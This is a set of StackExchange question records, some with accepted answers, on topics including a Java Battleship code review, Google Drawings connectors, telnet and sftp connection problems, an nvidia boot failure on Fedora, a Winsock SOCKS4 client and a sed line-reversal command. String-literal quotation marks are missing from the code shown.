{  "id": "_codereview.161680"  , "question": "My Second take on this can be found hereI wanted to make a simple console game in order to practice OOP.  I would really appreciate a review that looks at  readability, maintenance, and best practices.What annoys me a little bit with this code is I don't use interfaces, abstract classes, or inheritance, but I couldn't find a good use case for them here.Board.javapackage com.tn.board;import com.tn.constants.Constants;import com.tn.ship.Ship;import com.tn.utils.Position;import com.tn.utils.Utils;import java.awt.Point;import java.util.Scanner;public class Board {    private static final Ship[] ships;    private char[][] board;    /**     * Initialize ships (once).     *     */    static {        ships = new Ship[]{                new Ship(Carrier, Constants.CARRIER_SIZE),                new Ship(Battleship, Constants.BATTLESHIP_SIZE),                new Ship(Cruiser, Constants.CRUISER_SIZE),                new Ship(Submarine, Constants.SUBMARINE_SIZE),                new Ship(Destroyer, Constants.DESTROYER_SIZE)        };    }    /**     * Constructor     */    public Board() {        board = new char[Constants.BOARD_SIZE][Constants.BOARD_SIZE];        for(int i = 0; i < Constants.BOARD_SIZE; i++) {            for(int j = 0; j < Constants.BOARD_SIZE; j++) {                board[i][j] = Constants.BOARD_ICON;            }        }        placeShipsOnBoard();    }    /**     * Target ship ship.     *     * @param point the point     * @return ship     */    public Ship targetShip(Point point) {        boolean isHit = false;        Ship hitShip = null;        for(int i = 0; i < ships.length; i++) {            Ship ship = ships[i];            if(ship.getPosition() != null) {                if(Utils.isPointBetween(point, ship.getPosition())) {                    isHit = true;                    hitShip = ship;                    break;                }            }        }        final char result = isHit ? Constants.SHIP_IS_HIT_ICON : Constants.SHOT_MISSED_ICON;        updateShipOnBoard(point, result);        printBoard();        return (isHit) ? hitShip : null;    }    /**     * Place ships on board.     */    private void placeShipsOnBoard() {        System.out.printf(%nAlright - Time to place out your ships%n%n);        Scanner s = new Scanner(System.in);        for(int i = 0; i < ships.length; i++) {            Ship ship = ships[i];            boolean isShipPlacementLegal = false;            System.out.printf(%nEnter position of %s (length  %d): , ship.getName(), ship.getSize());            while(!isShipPlacementLegal) {                try {                    Point from = new Point(s.nextInt(), s.nextInt());                    Point to = new Point(s.nextInt(), s.nextInt());                    while(ship.getSize() != Utils.distanceBetweenPoints(from, to)) {                        System.out.printf(The ship currently being placed on the board is of length: %d. Change your coordinates and try again,                                ship.getSize());                        from = new Point(s.nextInt(), s.nextInt());                        to = new Point(s.nextInt(), s.nextInt());                    }                    Position position = new Position(from, to);                    if(!isPositionOccupied(position)) {                        drawShipOnBoard(position);                        ship.setPosition(position);                        isShipPlacementLegal = true;                    } else {                        System.out.println(A ship in that position already exists - try again);                    }                } catch(IndexOutOfBoundsException e) {                    System.out.println(Invalid coordinates - Outside board);                }            }        }    }    private void updateShipOnBoard(Point point, final char result) {        int x = (int) point.getX() - 1;        int y = (int) point.getY() - 1;        board[y][x] = result;    }    /**     *     * @param position     * @return     */    private boolean isPositionOccupied(Position position) {        boolean isOccupied = false;        Point from = position.getFrom();        Point to = position.getTo();        outer:        for(int i = (int) from.getY() - 1; i < to.getY(); i++) {            for(int j = (int) from.getX() - 1; j < to.getX(); j++) {                if(board[i][j] == Constants.SHIP_ICON) {                    isOccupied = true;                    break outer;                }            }        }        return isOccupied;    }    /**     *     * @param position     */    private void drawShipOnBoard(Position position) {        Point from = position.getFrom();        Point to = position.getTo();        for(int i = (int) from.getY() - 1; i < to.getY(); i++) {            for(int j = (int) from.getX() - 1; j < to.getX(); j++) {                board[i][j] = Constants.SHIP_ICON;            }        }        printBoard();    }    /**     * Print board.     */    private void printBoard() {        System.out.print(\\t);        for(int i = 0; i < Constants.BOARD_SIZE; i++) {            System.out.print(Constants.BOARD_LETTERS[i] + \\t);        }        System.out.println();        for(int i = 0; i < Constants.BOARD_SIZE; i++) {            System.out.print((i+1) + \\t);            for(int j = 0; j < Constants.BOARD_SIZE; j++) {                System.out.print(board[i][j] + \\t);            }            System.out.println();        }    }}Constants.javapackage com.tn.constants;public class Constants {    private Constants() {}    public static final int PLAYER_LIVES = 17; //sum of all the ships    public static final int CARRIER_SIZE = 5;    public static final int BATTLESHIP_SIZE = 4;    public static final int CRUISER_SIZE = 3;    public static final int SUBMARINE_SIZE = 3;    public static final int DESTROYER_SIZE = 2;    public static final char SHIP_ICON = 'X';    public static final char BOARD_ICON = '-';    public static final char SHIP_IS_HIT_ICON = 'O';    public static final char SHOT_MISSED_ICON = 'M';    public static final char[] BOARD_LETTERS = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J'};    public static final int BOARD_SIZE = 10;}Player.javapackage com.tn.player;import com.tn.board.Board;import com.tn.constants.Constants;import com.tn.ship.Ship;import java.awt.Point;import java.util.HashMap;import java.util.Map;import java.util.Scanner;public class Player {    private int id;    private int lives;    private Board board;    private Map<Point, Boolean> targetHistory;    private Scanner scanner;    /**     * Instantiates a new Player.     *     * @param id the id     */    public Player(int id) {        System.out.printf(%n=== Setting up everything for Player %s ====, id);        this.id = id;        this.lives = Constants.PLAYER_LIVES;        this.board = new Board();        this.targetHistory = new HashMap<>();        this.scanner = new Scanner(System.in);    }    /**     * Gets id.     *     * @return the id     */    public int getId() {        return id;    }    /**     * Gets lives.     *     * @return the lives     */    public int getLives() {        return lives;    }    /**     * Decrement live by one.     */    public void decrementLiveByOne() {        lives--;    }    /**     * Turn to play.     *     * @param opponent the opponent     */    public void turnToPlay(Player opponent) {        System.out.printf(%n%nPlayer %d, Choose coordinates you want to hit (x y) , id);        Point point = new Point(scanner.nextInt(), scanner.nextInt());        while(targetHistory.get(point) != null) {            System.out.print(This position has already been tried);            point = new Point(scanner.nextInt(), scanner.nextInt());        }        attack(point, opponent);    }    /**     * Attack     *     * @param point     * @param opponent     */    private void attack(Point point, Player opponent) {        Ship ship = opponent.board.targetShip(point);        boolean isShipHit = (ship != null) ? true : false;        if(isShipHit) {            ship.shipWasHit();            opponent.decrementLiveByOne();        }        targetHistory.put(point, isShipHit);        System.out.printf(Player %d, targets (%d, %d),                id,                (int)point.getX(),                (int)point.getY());        System.out.println(...and  + ((isShipHit) ? HITS! : misses...));    }}Ship.javapackage com.tn.ship;import com.tn.utils.Position;public class Ship {    private String name;    private int size;    private int livesLeft;    private boolean isSunk;    private Position position;    public Ship(String name, int size) {        this.name = name;        this.size = size;        this.livesLeft = size;        this.isSunk = false;    }    public String getName() {        return name;    }    public int getSize() {        return size;    }    public int getLivesLeft() {        return livesLeft;    }    public boolean isSunk() {        return isSunk;    }    public void setSunk(boolean sunk) {        isSunk = sunk;    }    public Position getPosition() {        return position;    }    public void setPosition(Position position) {        this.position = position;    }    public void shipWasHit() {        if(livesLeft == 0) {            isSunk = true;            System.out.println(You sunk the  + name);            return;        }        livesLeft--;    }}Position.javapackage com.tn.utils;import com.tn.constants.Constants;import java.awt.Point;public class Position {    private Point from;    private Point to;    /**     * Instantiates a new Position.     *     * @param from the from     * @param to   the to     */    public Position(Point from, Point to) {        if(from.getX() > Constants.BOARD_SIZE || from.getX() < 0                || from.getY() > Constants.BOARD_SIZE || from.getY() < 0                || to.getX() > Constants.BOARD_SIZE || to.getX() < 0                || to.getY() > Constants.BOARD_SIZE || to.getY() < 0) {            throw new ArrayIndexOutOfBoundsException();        }        this.from = from;        this.to = to;    }    /**     * Gets from.     *     * @return the from     */    public Point getFrom() {        return from;    }    /**     * Gets to.     *     * @return the to     */    public Point getTo() {        return to;    }}Utils.javapackage com.tn.utils;import java.awt.Point;public class Utils {    private Utils() {    }    /**     * Distance between points double.     *     * @param from the from     * @param to   the to     * @return the double     */    public static double distanceBetweenPoints(Point from, Point to) {        double x1 = from.getX();        double y1 = from.getY();        double x2 = to.getX();        double y2 = to.getY();        return Math.sqrt(Math.pow(x1-x2, 2) + Math.pow(y1-y2, 2)) + 1;    }    /**     * Is point between boolean.     *     * @param point    the point     * @param position the position     * @return the boolean     */    public static boolean isPointBetween(Point point, Position position) {        Point from = position.getFrom();        Point to = position.getTo();        return from.getY() <= point.getY()                && to.getY() >= point.getY()                && from.getX() <= point.getX()                && to.getX() >= point.getX();    }}Game.javapackage com.tn.game;import com.tn.player.Player;public class Game {    private Player[] players;    /**     * Instantiates a new Game.     */    public Game() {        players = new Player[]{                new Player(1),                new Player(2)        };    }    /**     * Start.     */    public void start() {        int i = 0;        int j = 1;        int size = players.length;        Player player = null;        while(players[0].getLives() > 0 && players[1].getLives() > 0) {            players[i++ % size].turnToPlay(players[j++ % size]);            player = (players[0].getLives() < players[1].getLives()) ?                    players[1] :                    players[0];        }        System.out.printf(Congrats Player %d, you won!,player.getId());    }}Main.javapackage com.tn;import com.tn.game.Game;public class Main {    public static void main(String[] args) {        Game game = new Game();        game.start();    }}"  , "title": "OOP Battleship console game in Java"  , "tags": "java;object oriented"  , "accepted_answer": "Thanks for sharing your code.What annoys me a little bit with this code is I don't use interfaces, abstract classes, or inheritance, Doing OOP means that you follow certain principles which are (amongst others):information hiding / encapsulationsingle responsibilityseparation of concernsKISS (Keep it simple (and) stupid.)DRY (Don't repeat yourself.)Tell! Don't ask.Law of demeter (Don't talk to strangers!)Interfaces, abstract classes, or inheritance support hat principles and should be used as needed. They do not define OOP.IMHO the main reason why your approach fails OOP is that your Model is an array of an primitive type char. This ultimately leads to a procedural approach for the game logic.I would think of an interface like this:interface GameField{  char getIcon();  Result shootAt();}where Result would be an enum: enum Result{ NO_HIT, PARTIAL_HIT, DESTROYED }And I would have different implementations of the interface:public class BorderField implements GameField{  private final char borderName;  public BorderField(char borderName){    this.borderName = borderName;  }  @Override  public char getIcon(){    return borderName;  }  @Override  public Result shootAt(){    return Result.NO_HIT;  }}public class WaterField implements GameField{  private boolean isThisFieldHit = false;  @Override  public char getIcon(){    return isThisFieldHit?'M': ' ';  }  @Override  public Result shootAt(){    return Result.NO_HIT;  }}public class ShipField implements GameField{  private final Ship ship;  private boolean isThisFieldHit = false;  public ShipField(Ship ship){    this.ship = ship;  }  @Override  public char getIcon(){    Result shipState = ship.getState();    switch(shipState){      case NO_HIT:        return ' ';      case PARTIAL_HIT:        return isThisFieldHit?'O':' ';      case DESTROYED:        return '#';  }  @Override  public Result shootAt(){    ship.hit();    return  ship.getState();  }}This should be enough, hope you get the idea...Formal issuesNamingFinding good names is the hardest part in programming. So always take your time to think about your identifier names.On the bright side you follow the Java naming conventions.But you should have your method names start with a verb in its present tense.E.g.: shipWasHit() should be named hit().Or distanceBetweenPoints() should be calculateDistanceBetween(). Here the parameters reveal that the distance is between points, so no need to put that in the method name. Be verbose in your variable names.  instead of    double x1 = from.getX();    double y1 = from.getY();    double x2 = to.getX();    double y2 = to.getY();this variables should rather be named like this:    double startPointX = from.getX();    double startPointY = from.getY();    double endPointX = to.getX();    double endPointY = to.getY();Take your names from the problem domain, not from the technical solution.eg.: SHIP_ICON should be SHIP only unless you have another constant within the Ship class.CommentsComments should explain why the code is like it is. Remove all other comments. comments should only be used on interface or abstract methods where they contain the contract that the implementer must fulfill.Constants classPut things together that belong together. Define constants in the class that uses them."  } 
{  "id": "_webapps.40552"  , "question": "When creating a flowchart in Visio I can choose how connectors will be rendered as:right-anglestraightcurvedBut when drawing the same chart in Google drawing there only seems to be straight type.  I can't seem to find a way to draw lines at right angles? Is that possible?But even though there isn't any possibility to draw right-angled connectors by default there are two missing features that would make such task at least easier to accomplish:ability to add manual alignment guidelines - using these one could put two to easily draw two straight lines that would connect perfectly at intersectionability for lines to have connection points similar to shapes - using these one could position one line and then draw the other and connect it to the other line making both of them connectedHow do you solve this problem?"  , "title": "Connectors (lines and arrows) in Google drawings"  , "tags": "google drawing;diagrams"  , "accepted_answer": "There is no automatic way to create a right-angled line. The best way to do this would be to:Create 2 intersecting lines. I think you mention this in your 1st bullet. One way to make sure that the lines are perpendicular to each other is to hold the Shift key down while dragging out the line. This will automatically snap it to a preset angle (0, 45, 90 degrees, etc). By making 2 lines perpendicular you could make the ends meet and create a right angle line.Use the polyline tool. You can find this by clicking on the drop down arrow next to the line icon. This menu will allow you to create lines of different types. Examples are:ArrowCurvePolylineSome of these new lines (not all) will allow you to attach the ends to the connection point of another shape (like a text box) but you'll have to fiddle around with it to find what solution works best for you.If you're looking to create formal flowcharts with Google Drive, there are now apps you can connect to your Drive account that will help you create flowcharts. Examples include Lucidchart and Draw.io. To connect these apps to your Drive account, go into your Drive and click Create > Connect more apps"  } 
{  "id": "_unix.351576"  , "question": "I'm having unexpected behavior using the telnet command on various linux (Linux Mint, Ubuntu server).When trying to connect to a non-existent device, it succeed. I tested with 1.2.3.4 which is not a placeholder.Telnet$ telnet 1.2.3.4 9100Trying 1.2.3.4...Connected to 1.2.3.4.Escape character is '^]'.^]telnet> Connection closed.Pingfails as expected, this is not the problem!$ ping 1.2.3.4 -c 5PING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.--- 1.2.3.4 ping statistics ---5 packets transmitted, 0 received, 100% packet loss, time 4076msTraceroute (update)$ sudo traceroute -T -p telnet 1.2.3.4traceroute to 1.2.3.4 (1.2.3.4), 30 hops max, 60 byte packets 1  1.2.3.4 (1.2.3.4)  2.693 ms  3.166 ms  3.178 msRoute$ route -nKernel IP routing tableDestination     Gateway         Genmask         Flags Metric Ref    Use Iface0.0.0.0         192.168.2.240   0.0.0.0         UG    600    0        0 wlp4s0169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 br-427309471a28172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0172.18.0.0      0.0.0.0         255.255.0.0     U     0      0        0 br-427309471a28192.168.2.0     0.0.0.0         255.255.255.0   U     600    0        0 wlp4s0Even when stopping docker I still can reproduce:$ route -nKernel IP routing tableDestination     Gateway         Genmask         Flags Metric Ref    Use Iface0.0.0.0         192.168.2.240   0.0.0.0         UG    600    0        0 wlp4s0192.168.2.0     0.0.0.0         255.255.255.0   U     600    0        0 wlp4s0QuestionHere is a recording.Why is telnet connecting on a device that doesn't exist?"  , "title": "Telnet connect to non-existing adress"  , "tags": "networking;telnet;connectivity"  } 
{  "id": "_cstheory.16214"  , "question": "What is known about the computational complexity of factoring integers in general number fields? More specifically:Over the integers we represent integers via their binary expansions. What is the analogous representations of integers in general number fields?Is it known that primality over number fields is in P or BPP?What are the best known algorithms for factoring over number fields? (Do the $\\exp \\sqrt n$ and the (apparently) $\\exp n^{1/3}$ algorithms extend from $\\mathbb{Z}$?) Here, factoring refers to finding some representation of a number (represented by $n$ bits) as a product of primes.What is the complexity of finding all factorizations of an integer in a number field? Of counting how many distinct factorizations it has?  Over $\\mathbb{Z}$ it is known that deciding if a given number has a factor in an interval $[a,b]$ is NP-hard. Over the ring of integers in number fields, can it be the case that finding if there is a prime factor whose norm is in a certain interval is already NP-hard?   Is factoring in number fields in BQP?Remarks, motivations and updates.Of course the fact that factorization is not unique over number fields is crucial here. The question (especially part 5) was motivated by this blog post over GLL (see this remark), and also by this earlier TCSexchange question. I presented it also over my blog where Lior Silverman presented a thorough answer."  , "title": "Complexity of factoring in number fields"  , "tags": "cc.complexity theory;nt.number theory;comp number theory"  } 
{  "id": "_unix.220640"  , "question": "I'm trying to sftp to a remote host, yet keep getting following output:$ sftp -v X.X.XOpenSSH_6.6.1, OpenSSL 1.0.1e-fips 11 Feb 2013debug1: Reading configuration data /home/alexus/.ssh/configdebug1: Reading configuration data /etc/ssh/ssh_configdebug1: /etc/ssh/ssh_config line 56: Applying options for *debug1: Connecting to X.X.X [X.X.X.X] port 22.debug1: Connection established.debug1: identity file /home/alexus/.ssh/id_rsa type 1debug1: identity file /home/alexus/.ssh/id_rsa-cert type -1debug1: identity file /home/alexus/.ssh/id_dsa type -1debug1: identity file /home/alexus/.ssh/id_dsa-cert type -1debug1: identity file /home/alexus/.ssh/id_ecdsa type -1debug1: identity file /home/alexus/.ssh/id_ecdsa-cert type -1debug1: identity file /home/alexus/.ssh/id_ed25519 type -1debug1: identity file /home/alexus/.ssh/id_ed25519-cert type -1debug1: Enabling compatibility mode for protocol 2.0debug1: Local version string SSH-2.0-OpenSSH_6.6.1ssh_exchange_identification: read: Connection reset by peerCouldn't read packet: Connection reset by peer$ I tried to Google it, but as of now I have not found a solution( any suggestions?"  , "title": "sftp (ssh_exchange_identification: read: Connection reset by peer)"  , "tags": "ssh;sftp"  } 
{  "id": "_unix.347981"  , "question": "I got nvidia 970 gtx made by evga in my desktop PC. I was using Fedora 25 for almost a month without any problems. I had drivers installed following instruction from rpm fusion howto.dnf install xorg-x11-drv-nvidia akmod-nvidia kernel-devel-uname-r == $(uname -r)dnf update -yBut live cannot be so simple! Yesterday I made a system update and turned off the machine. Today when it booted I saw a low-resolution mode, completely without nvidia graphic support. I chose other kernels from boot menu: the same.I tried reinstalling nvidia drivers as in above posted howto also without result. Then I removed nvidia driver completely withdnf remove xorg-x11-drv-nvidia\\*and did reboot. Now I ended with my desktop in a state that it doesn'n boot at all. After choosing the kernel in grub monitor goes blank in a moment and I cannot even go to terminal with ctrl+alt+F2. In grub menu I tried rescue option, which leads me to kind of limited console, but I cannot install driver from there due to lack of internet connection in that mode.I was reading some old thread which explained how to enter text mode, but it was in pre systemd era.So... The question: how can I boot in this situation into text mode with internet support on Fedora 25 and systemd to be able to install drivers? Or is there any other easy way to fix it?"  , "title": "Fedora 25 doesn't boot after removing nvidia driver"  , "tags": "fedora;boot;drivers;nvidia"  } 
{  "id": "_codereview.149283"  , "question": "I just have started to introduce myself into network programming using C++. So I started with Winsock. The code I made is compiled with MinGW and works perfectly!As a beginner, the main purpose of code was to do what I wanted. Now it's time to go to next level!The program will download a webpage source using a given socket and the website address/ip and port. After the connection to socks4 is established, the program sends a packet telling to associate with destination server.Now a GET request is send to sock and it return the response from server.So far so good and we have the following code:main.cpp#include <winsock.h>#include <string>#include <iostream>#include util.hppusing namespace std;int main(void){       //Socks4 info    u_short sockPort = 1080;    std::string sockIp = xx.xx.xx.xx;    //Destination info    u_short destPort = 80;    std::string destIPorURL = checkip.dyndns.com;    WSADATA wsaData;    if (WSAStartup(MAKEWORD(2,0), &wsaData)==0)    {        if (LOBYTE(wsaData.wVersion) < 2)        {            cout << WSA Version error!;            return -1;        }    }    else    {        cout << WSA Startup Failed;        return -1;    }    ///////////////////////////////////////////////////////////////////////////////////////////    //Init socket for socks4    cout << Initialize sock_addr for socks4 connection...;    sockaddr_in sock;    sock.sin_family = AF_INET;                      // host byte order    sock.sin_port = htons( sockPort );              // short, network byte order    if(!utils::getHostIP(sock.sin_addr.S_un.S_addr, sockIp)) // Write ip address in the right format    {        cout << fail;        return -1;    }    cout << done << endl;    //Creating socket handler    cout << Creating socket handler...;    SOCKET hSocketSock = INVALID_SOCKET;    if( (hSocketSock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )    {        cout << fail;        return -1;    }    cout << done << endl;    /////////////////////////////////////////////////////////////////////////////////////////////    //Init socket for destination server    cout << Initialize sock_addr for destination server...;    sockaddr_in dest;    dest.sin_family = AF_INET;    dest.sin_port = htons( destPort );    if(!utils::getHostIP(dest.sin_addr.S_un.S_addr, destIPorURL)) // Write ip address in the right format    {        cout << fail;        return -1;    }    memset( &(dest.sin_zero), '\\0', 8 );    cout << done << endl;    ////////////////////////////////////////////////////////////////////////////////////////////////    //Time to make connection to socks    cout << Connecting to sock server...;    if(connect(hSocketSock, reinterpret_cast<sockaddr *>(&sock), sizeof(sock)) != 0)    {        cout << failed;        return -1;    }    cout << done << endl;    //We are connected now to our socket!    //All we have to do is to send our desires.    //From now, the things differ from SOCKS4 to SOCKS5.    //So, the code below apply only for SOCKS4!    //So, we'll start with SOCKS4    //Documentation: http://www.openssh.com/txt/socks4.protocol    //The packet we have to build    //         +----+----+----+----+----+----+----+----+----+----+....+----+    //         | VN | CD | DSTPORT |      DSTIP        | USERID       |NULL|    //         +----+----+----+----+----+----+----+----+----+----+....+----+    //# of bytes: 1    1      2              4           variable       1    //This packet is meant to inform socks server who's the destination we want to communicate with.    char *initPacket = new char[9]; //9 because we don't use auth.    initPacket[0] = 4; //Sock version we use is 4    initPacket[1] = 1; //Connect code    memcpy(initPacket + 2, &dest.sin_port, 2); //Copy port into    memcpy(initPacket + 4, &dest.sin_addr.S_un.S_addr, 4); //Copy ip address    initPacket[8] = 0; //No username for auth provided    //Sending our packet!    cout << Sending init packet to socks...;    if(send(hSocketSock, initPacket, 9, 0) == SOCKET_ERROR )    {        cout << fail;        return -1;    }    cout << done << endl;    //Don't need init packet anymore as we have send it.    delete[] initPacket;    //We want a replay. This will tell us if the sock is able to communicate with destination    char replay[8];          //WHY 8? Because of table below :)    memset(&replay, 0, 8);    //Reading the response    cout << Reading reaponse from sock...;    //if(recv(hSocketSock, replay, strlen((const char *)replay), 0) == SOCKET_ERROR)    if(recv(hSocketSock, replay, 8, 0) == SOCKET_ERROR)    {        fail;        return -1;    }    cout << done << endl;    //         Expected response format:    //         +----+----+----+----+----+----+----+----+    //         | VN | CD | DSTPORT |      DSTIP        |    //         +----+----+----+----+----+----+----+----+    //# of bytes: 1    1      2              4    //    VN is the version of the reply code and should be 0. CD is the result    //    code with one of the following values:    //    //    90: request granted    //    91: request rejected or failed    //    92: request rejected becasue SOCKS server cannot connect to identd on the client    //    93: request rejected because the client program and identd report different user-ids.    //So, we have to check if replay is ok :)    cout << Checking replay version code...;    if(replay[0] != 0)    {        cout << fail -  << (int)replay[0];        return -1;    }    cout << ok << endl;    //Returned code: 90 = access granted    cout << Checking replay returned code...;    if(replay[1] != 90)    {        cout << failed -  << (int)replay[1];        return -1;    }    cout << (int)replay[1] <<  - ok << endl;    //Those being said, if everithing is ok, we can use @hSocketSock handler to send/recv data.    //Let's download the content of an webpage:    std::string headers = GET  + destIPorURL +  HTTP/1.0\\r\\nHost:  + utils::getHostFromUrl(destIPorURL) + \\r\\n\\r\\n;    //Send our request    cout << endl << Sending custom request...;    int sendResult = send(hSocketSock, headers.c_str(), headers.length(), 0);    if(sendResult == SOCKET_ERROR)    {        cout << sendResult <<  -  failed;        return -1;    }    cout << done! << endl;    std::string fullResp = ;    char buffer[128];    cout << Reading response from server...;    while(true)    {        int retval = recv(hSocketSock, buffer, strlen((const char *)buffer), 0);        if(retval == 0)        {            break;        }        else if(retval == SOCKET_ERROR)        {            cout << failed;            return -1;        }        else        {            buffer[retval] = 0;            fullResp +=  buffer;        }    }    cout << done << endl;    cout << What we have got: << endl << fullResp;    //Make clean!    if(hSocketSock != INVALID_SOCKET)    {        closesocket(hSocketSock);    }    cout << endl;    return 0;}As you may have seen, the util.hpp contain some namespaces with the following functions used in program (and other useful functions):  std::string getHostFromUrl(std::string &url);bool getHostIP(unsigned long &ipAddr, std::string urlOrHostnameOrIp);Don't need a review for this. However I will post content of util.cpp and util.hpp in case someone wants to test. util.hpp:#include <winsock2.h>#include <string>#include <algorithm>#include <vector>namespace utils{    std::string getHostFromUrl(std::string &url);    bool getHostIP(unsigned long &ipAddr, std::string urlOrHostnameOrIp);    namespace IPAddr    {        bool isValidIPv4(std::string &ip);        std::string reverseIpAddress(std::string ip);        std::string decimalToDottedIp(unsigned long ip);        unsigned long stripToDecimal(std::string &ip);    }    namespace strings    {        std::vector<std::string> split(std::string &s, char delim);        std::string removeSubstrs(std::string &source, std::string pattern);    }};util.cpp#include <stdexcept>#include <iostream>#include <sstream>#include <stdio.h>#include util.hpp#define cout std::cout#define endl std::endl///////////////////////////////////////////////////////////////////////////////////////   _   _                                                         _   _ _//  | \\ | | __ _ _ __ ___   ___  ___ _ __   __ _  ___ ___    _   _| |_(_) |___//  |  \\| |/ _` | '_ ` _ \\ / _ \\/ __| '_ \\ / _` |/ __/ _ \\  | | | | __| | / __|//  | |\\  | (_| | | | | | |  __/\\__ \\ |_) | (_| | (_|  __/  | |_| | |_| | \\__ \\//  |_| \\_|\\__,_|_| |_| |_|\\___||___/ .__/ \\__,_|\\___\\___|   \\__,_|\\__|_|_|___///                                  |_|/////////////////////////////////////////////////////////////////////////////////////bool utils::getHostIP(unsigned long &ipAddr, std::string url){    HOSTENT *pHostent;    std::string hostname = getHostFromUrl(url);    if( utils::IPAddr::isValidIPv4(hostname) )    {        //IP Address must be reversed in order to be compatible with sockAddr.sin_addr.S_un.S_addr        //example: 192.168.1.2 => 2.1.168.192        hostname = utils::IPAddr::reverseIpAddress(hostname);        ipAddr =  utils::IPAddr::stripToDecimal(hostname);        return true;    }    if (!(pHostent = gethostbyname(hostname.c_str())))    {        return false;    }    if (pHostent->h_addr_list && pHostent->h_addr_list[0])    {        ipAddr = *reinterpret_cast<unsigned long *>(pHostent->h_addr_list[0]);        return true;    }    return false;}std::string utils::getHostFromUrl(std::string &url){    std::string urlcopy = url;    urlcopy = utils::strings::removeSubstrs(urlcopy, http://);    urlcopy = utils::strings::removeSubstrs(urlcopy, www.);    urlcopy = utils::strings::removeSubstrs(urlcopy, https://);    urlcopy = urlcopy.substr(0, urlcopy.find(/));    return urlcopy;}//   ___  ____        _        _      _// | _ _||  _ \\      / \\    __| |  __| | _ __  ___  ___  ___//   | | | |_) |    / _ \\  / _` | / _` || '__|/ _ \\/ __|/ __|//   | | |  __/    / ___ \\| (_| || (_| || |  |  __/\\__ \\\\__ \\//  |___||_|      /_/   \\_\\\\__,_| \\__,_||_|   \\___||___/|___/bool utils::IPAddr::isValidIPv4(std::string &ipv4){    const std::string address = ipv4;    std::vector<std::string> arr;    int k = 0;    arr.push_back(std::string());    for (std::string::const_iterator i = address.begin(); i != address.end(); ++i)    {        if (*i == '.')        {            ++k;            arr.push_back(std::string());            if (k == 4)            {                return false;            }            continue;        }        if (*i >= '0' && *i <= '9')        {            arr[k] += *i;        }        else        {            return false;        }        if (arr[k].size() > 3)        {            return false;        }    }    if (k != 3)    {        return false;    }    for (int i = 0; i != 4; ++i)    {        const char* nPtr = arr[i].c_str();        char* endPtr = 0;        const unsigned long a = ::strtoul(nPtr, &endPtr, 10);        if (nPtr == endPtr)        {            return false;        }        if (a > 255)        {            return false;        }    }    return true;}std::string utils::IPAddr::reverseIpAddress(std::string ip){    std::vector<std::string> octeti = utils::strings::split(ip, '.');    return (octeti[3] + . + octeti[2] + . + octeti[1] + . + octeti[0]);}unsigned long utils::IPAddr::stripToDecimal(std::string &ip){    unsigned long a,b,c,d,base10IP;    sscanf(ip.c_str(), %lu.%lu.%lu.%lu, &a, &b, &c, &d);    // Do calculations to convert IP to base 10    a *= 16777216;    b *= 65536;    c *= 256;    base10IP = a + b + c + d;    return base10IP;}std::string utils::IPAddr::decimalToDottedIp(unsigned long ipAddr){    unsigned short a, b, c, d;    std::ostringstream os ;    std::string ip = ;    a = (ipAddr & (0xff << 24)) >> 24;    b = (ipAddr & (0xff << 16)) >> 16;    c = (ipAddr & (0xff << 8)) >> 8;    d = ipAddr & 0xff;    os << d << . << c << . << b << . << a;    ip = os.str();    return ip;}//   ____   _          _//  / ___| | |_  _ __ (_) _ __    __ _  ___//  \\___ \\ | __|| '__|| || '_ \\  / _` |/ __|//   ___) || |_ | |   | || | | || (_| |\\__ \\//  |____/  \\__||_|   |_||_| |_| \\__, ||___///                               |___/std::vector<std::string> utils::strings::split(std::string &s, char delim){    std::vector<std::string> elems;    std::stringstream ss;    ss.str(s);    std::string item;    while (std::getline(ss, item, delim))    {        elems.push_back(item);    }    return elems;}std::string utils::strings::removeSubstrs(std::string &input, std::string pattern){    std::string source = input;    std::string::size_type n = pattern.length();    for (std::string::size_type i = source.find(pattern); i != std::string::npos; i = source.find(pattern))    {        source.erase(i, n);    }    return source;}The thing is that I have some plans for some projects which uses sockets and I want to get a good start!I think that the code I wrote is not so easy to understand. For me it's easy but for the others my not!Hope it is not to soon to say that but I want to write some professional code. So, be as critical as possible!PS: Not sure if it helps, but the output looks like the following:"  , "title": "Download website source through Socks4 using Winsock"  , "tags": "c++;networking;socket;tcp"  } 
{  "id": "_unix.233014"  , "question": "My question is related to the sed-specific solution given in this answer for this question of reverse grepping. The sed/grep solution that I am unable to decipher is the following one: sed '1!G;h;$!d' fileCan someone please decipher this command for a beginner like me? I know from  VI(M) knowledge that G denotes the last line of the file and that in sed a bang(!) followed by an address work a bit like grep -v that is to say that it will not match that  line. But as a whole the inline sed script above is beyond me."  , "title": "How does the command sed '1!G;h;$!d' reverse the contents of a file?"  , "tags": "sed"  , "accepted_answer": "This reverses the file line by line.sed '1!G;h;$!d' fileFirst, sed has a hold space and a pattern space. We have to distinguish between them before concentrating on that specific command.When sed reads a new line, it is loaded into the pattern space. Therefore, that space is overwritten every time a new line is processed. On the other hand, the hold space is consistent over the whole processing and values can be stored there for later usage.To the command:There are 3 commands in this statement: 1!G, h and $!d1!G means that the G command is executed on every line except the first one (the ! negates the 1). G means to append what is in the hold space into the pattern space.h applies to every line. It copies the pattern space to the hold space (and overwrites it).$!d applies to every line except the last one ($ represents the last line, ! negates it). d is the command to delete the line (pattern space).Now, when the first line is read, sed executes the h command. The first line is copied into the hold space. Then it is deleted, since it matches the $! condition. sed continues with the second line.The second line matches the condition 1! (it's not the first line), and so the hold space (which has the first line) is appended to the pattern space (which has the second line). After that, in the pattern space, there is now the second line followed by the first line, delimited by a newline. Now, the h command applies (as in every line); all that is in the pattern space is copied to the hold space. The third statement ($!d) applies: The line is deleted from the pattern space.Step 2 is now done with all lines. We skip to the last line.In the last line ($) nearly all of Step 2 is done, but not the delete part (d). sed, when invoked without -n, prints the pattern space automatically at the end of the processing for each input line. So, when not deleted, the pattern space is printed. It contains now all lines in reversed order."  } 
